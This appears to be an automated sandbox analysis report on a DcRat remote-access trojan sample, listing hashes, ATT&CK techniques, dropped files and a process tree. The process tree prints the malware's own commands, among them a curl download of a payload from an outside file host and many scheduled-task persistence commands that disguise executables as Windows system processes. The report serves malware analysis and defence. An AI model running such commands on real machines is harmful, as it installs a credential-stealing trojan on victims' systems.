dcrat | 3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15

Analysis

max time kernel
77s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
24-11-2024 06:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe
Size

1.2MB
MD5

e5a4be0eb47c462ad72240167b00d6eb
SHA1

09793e20889984c4d8f18385052baa82202afca8
SHA256

3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15
SHA512

6c2445109f25acb7d8fb545b66db590ba2c4bcc0237829ce99f7bf0c4f135e37b1b5b4afba2477b807bf36c529d679479265fec7657f89faf052cf532a2e2bd1
SSDEEP

12288:F0GtwVUTytoIn41c6iHKnkUxCj2AqeMQmwWe0ZQyRWkhuq3nbep3+bKDZhW/lc4q:ptDZcpHKnkuGKFplpC+bKlAtc06z

Score

10^/10

dcrat discovery infostealer rat spyware stealer

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4400	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	512	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4868	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1108	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5008	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1068	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1876	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4232	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3688	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3216	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3908	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1412	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2688	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	208	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3084	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3124	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2960	1264	schtasks.exe	93
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4888	1264	schtasks.exe	93

Downloads MZ/PE file

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exephysmeme.exeWScript.exeMedal.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	physmeme.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	Medal.exe

Executes dropped EXE 3 IoCs

Processes:

physmeme.exeMedal.exeMedal.exe

pid	Process
1592	physmeme.exe
996	Medal.exe
3016	Medal.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops file in Program Files directory 5 IoCs

Processes:

Medal.exe

description	ioc	Process
File created	C:\Program Files\Google\sihost.exe	Medal.exe
File opened for modification	C:\Program Files\Google\sihost.exe	Medal.exe
File created	C:\Program Files\Google\66fc9ff0ee96c2	Medal.exe
File created	C:\Program Files (x86)\Internet Explorer\images\System.exe	Medal.exe
File created	C:\Program Files (x86)\Internet Explorer\images\27d1bcfc3c54e0	Medal.exe

Drops file in Windows directory 5 IoCs

Processes:

Medal.execurl.exe

description	ioc	Process
File created	C:\Windows\Installer\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\e4b89c44233906	Medal.exe
File created	C:\Windows\Speech\physmeme.exe	curl.exe
File created	C:\Windows\Globalization\Time Zone\wininit.exe	Medal.exe
File created	C:\Windows\Globalization\Time Zone\56085415360792	Medal.exe
File created	C:\Windows\Installer\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe	Medal.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

WScript.execmd.exephysmeme.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	physmeme.exe

Modifies registry class 2 IoCs

Processes:

physmeme.exeMedal.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	physmeme.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	Medal.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

pid	Process
1876	schtasks.exe
4232	schtasks.exe
3688	schtasks.exe
3908	schtasks.exe
2688	schtasks.exe
208	schtasks.exe
1108	schtasks.exe
1068	schtasks.exe
4868	schtasks.exe
2960	schtasks.exe
5008	schtasks.exe
3216	schtasks.exe
1412	schtasks.exe
3084	schtasks.exe
3124	schtasks.exe
4400	schtasks.exe
512	schtasks.exe
4888	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Medal.exe

pid	Process
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe
996	Medal.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

Medal.exeMedal.exe

description	pid	Process
Token: SeDebugPrivilege	996	Medal.exe
Token: SeDebugPrivilege	3016	Medal.exe

Suspicious use of WriteProcessMemory 25 IoCs

Processes:

3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.execmd.exephysmeme.exeWScript.execmd.exeMedal.execmd.exe

description	pid	Process	procid_target
PID 3936 wrote to memory of 2552	3936	3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe	86
PID 3936 wrote to memory of 2552	3936	3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe	86
PID 3936 wrote to memory of 2068	3936	3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe	87
PID 3936 wrote to memory of 2068	3936	3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe	87
PID 2068 wrote to memory of 3756	2068	cmd.exe	88
PID 2068 wrote to memory of 3756	2068	cmd.exe	88
PID 3936 wrote to memory of 1592	3936	3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe	97
PID 3936 wrote to memory of 1592	3936	3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe	97
PID 3936 wrote to memory of 1592	3936	3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe	97
PID 1592 wrote to memory of 1320	1592	physmeme.exe	98
PID 1592 wrote to memory of 1320	1592	physmeme.exe	98
PID 1592 wrote to memory of 1320	1592	physmeme.exe	98
PID 1320 wrote to memory of 2992	1320	WScript.exe	103
PID 1320 wrote to memory of 2992	1320	WScript.exe	103
PID 1320 wrote to memory of 2992	1320	WScript.exe	103
PID 2992 wrote to memory of 996	2992	cmd.exe	105
PID 2992 wrote to memory of 996	2992	cmd.exe	105
PID 996 wrote to memory of 536	996	Medal.exe	124
PID 996 wrote to memory of 536	996	Medal.exe	124
PID 536 wrote to memory of 4976	536	cmd.exe	126
PID 536 wrote to memory of 4976	536	cmd.exe	126
PID 536 wrote to memory of 3876	536	cmd.exe	127
PID 536 wrote to memory of 3876	536	cmd.exe	127
PID 536 wrote to memory of 3016	536	cmd.exe	132
PID 536 wrote to memory of 3016	536	cmd.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe
"C:\Users\Admin\AppData\Local\Temp\3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
    3⤵
    - Drops file in Windows directory
    PID:3756
- C:\Windows\Speech\physmeme.exe
  "C:\Windows\Speech\physmeme.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1592
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Medal\LziQ5Qlyzu0f0C5NtfHJq0w.vbe"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1320
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Medal\Fua65ZRdZNJ5OJAqSXb7513NtPonCq4dK3Ubpg1B.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2992
    - - C:\Medal\Medal.exe
        
        "C:\Medal/Medal.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:996
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\iXoBDxAMJ2.bat"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:536
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:4976
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        7⤵
        
        PID:3876
        
        C:\Medal\Medal.exe
        
        "C:\Medal\Medal.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3016

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec153" /sc MINUTE /mo 7 /tr "'C:\Windows\Installer\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15" /sc ONLOGON /tr "'C:\Windows\Installer\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:512

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec153" /sc MINUTE /mo 5 /tr "'C:\Windows\Installer\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Internet Explorer\images\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\images\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Internet Explorer\images\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1068

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 13 /tr "'C:\Windows\Globalization\Time Zone\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1876

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\Globalization\Time Zone\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4232

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 9 /tr "'C:\Windows\Globalization\Time Zone\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Medal\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Medal\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3908

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Medal\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1412

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 8 /tr "'C:\Program Files\Google\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Program Files\Google\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 7 /tr "'C:\Program Files\Google\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3084

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MedalM" /sc MINUTE /mo 7 /tr "'C:\Medal\Medal.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3124

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Medal" /sc ONLOGON /tr "'C:\Medal\Medal.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MedalM" /sc MINUTE /mo 11 /tr "'C:\Medal\Medal.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Medal\Fua65ZRdZNJ5OJAqSXb7513NtPonCq4dK3Ubpg1B.bat

Filesize
63B

MD5
e24619181276af563705f4b1bed29490

SHA1
fddac27290319f69543f5330fe97c122a8a01376

SHA256
eee937e02edcd36de3ed7658c9ad9d79844502c8553a7c244b2b154aa9ffec05

SHA512
1898a5e2a52f2f34466dfd9e1b1149b36052874b6be432dd9301ecfa6bc3a964dca6980b8db54ddcf8ef24a95792efcaffeb09aceb7a04304a0d18f4d0ce0591

Download Submit
C:\Medal\LziQ5Qlyzu0f0C5NtfHJq0w.vbe

Filesize
224B

MD5
96d43070e1e39d421c53a2f8dca13fc6

SHA1
07417cccceddbf8d5f5b48dec0b2e08d53a4754f

SHA256
0dab986e5c533631946e27cdbb5147e68b9eb3008c1add60d21a59cd7d964314

SHA512
9fc0ee5ac42bca7c7ee7584baa5be6907fc750378d037d56e075a21c4fe8eaeb3efac3e9fb6087a70a6ad01dcebf05d2462f2463daa8063b4047c11e5364d398

Download Submit
C:\Medal\Medal.exe

Filesize
1.8MB

MD5
4f66bbfed3a524398bd0267ed974ccbc

SHA1
b2567397dc823412d87a23428c7833ff74586b7d

SHA256
fa05b7f28eb1df0447998b89a08aa96453b0f3240c31489900d178862eaa80d8

SHA512
bc4de61adb5f56c66043a2617ebfcc9f4e82d36e48dbdc9178695f9466d554eb364d69829490ff43100e8cb457ce7e78b2e277a3cf1733edf32c0154e6f56d9f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Medal.exe.log

Filesize
1KB

MD5
af6acd95d59de87c04642509c30e81c1

SHA1
f9549ae93fdb0a5861a79a08f60aa81c4b32377b

SHA256
7521ee2d065a78efcab55a194fbd78492f84b70595f139263875f4ea92b194d6

SHA512
93ab99bcf588fde553de3240e0d2b0cbd4e4bc5ef5e99d53f45a267d7ff30103a80b5a7aa1c52d6eff1e070af0ec82d2c0b8aafb7099742aa16810edc1815c3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\iXoBDxAMJ2.bat

Filesize
194B

MD5
dd735aad86d858323af6db008bb7f687

SHA1
ffea9c933c891a63b9f2911331b7c791428b2279

SHA256
bcaf5f62fc233242d17d2ee21471f84710437810cc6625c374f646552fb0f194

SHA512
709ed3fefbc5821922d3bfd4ddbef99aca76cf38b88674a2ec0eacb53067796d442fa492e50ea74470d98da0bb38c41ae2ee71c11664af5d5f780ec7f4fcae5d

Download Submit
C:\Windows\Speech\physmeme.exe

Filesize
2.1MB

MD5
f4620c0afa8e21897509b2e7215097f5

SHA1
af216ca6105e271a3fb45a23c10ee7cf3158b7e1

SHA256
8daf7dcdf256d7de40d33e5550dc5e8bbf887b8c4b7f49c79a15c96dad867f82

SHA512
68b875acc06d9c3796f49377b5b25a5e8b9a380221eea59e4274249ca7d2bff10c3fc5edf50eae5da726afea882e0e777af86af25be7b57c8fbfd70448d8d7dd

Download Submit
memory/996-19-0x000000001B100000-0x000000001B11C000-memory.dmp

Filesize
112KB

Download
memory/996-20-0x000000001B170000-0x000000001B1C0000-memory.dmp

Filesize
320KB

Download
memory/996-22-0x000000001B120000-0x000000001B138000-memory.dmp

Filesize
96KB

Download
memory/996-24-0x000000001B0E0000-0x000000001B0EE000-memory.dmp

Filesize
56KB

Download
memory/996-41-0x000000001BDF0000-0x000000001BF99000-memory.dmp

Filesize
1.7MB

Download
memory/996-17-0x0000000002760000-0x000000000276E000-memory.dmp

Filesize
56KB

Download
memory/996-15-0x0000000000400000-0x00000000005DE000-memory.dmp

Filesize
1.9MB

Download